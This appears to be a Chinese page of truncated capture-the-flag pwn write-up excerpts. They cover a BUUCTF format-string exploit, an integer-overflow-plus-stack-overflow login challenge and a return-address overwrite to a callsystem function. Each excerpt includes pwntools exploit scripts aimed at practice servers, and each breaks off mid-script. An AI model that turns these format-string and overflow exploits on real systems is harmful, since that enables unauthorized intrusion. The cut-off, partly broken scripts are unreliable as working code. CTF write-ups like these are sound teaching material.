Sakura给爷pwn全场

from pwn import * context(arch='i386',os='linux',log_level='debug',binary='pwn5') io=remote('node3.buuoj.cn',28518) elf=ELF('./pwn5') io.recvuntil('your name:') unk_addr=0x0804C044 payload=p32(unk_addr)+'%10$n' io.sendline(payload) io.recvuntil('your passw

使用checksec 扫描，开启了NX。是一个32位的程序。 使用ida打开，main函数里面选1进入login。 进入check_passwd。 我们发现了v3 是 unsigned _int8 类型，其范围为0-255，而passwd可输入的长度为0x199（即409），可使v3发生整数溢出。 结合栈溢出可写出如下脚本。 from pwn import * e.remote('111.198.29.45',41425) flag_addr = 0x0804868B payload = 0x18

攻防世界level2

查壳64bit 拖进IDA f5查看伪代码 vulnerable_function中文译为脆弱函数，可疑，点进去查看vulnerable函数。 buf数组距离栈帧顶部rsp为0h，距离栈帧顶部rbp为80h，可知buf长度为0x80. 查看vulnerable函数栈 s代表save ebp,长度8个字节 r代表return address,长度8个字节,通常只要覆盖4个字节。 查看callsystem函数，代码段地址为0x400596 思路 把return address用callsystem函数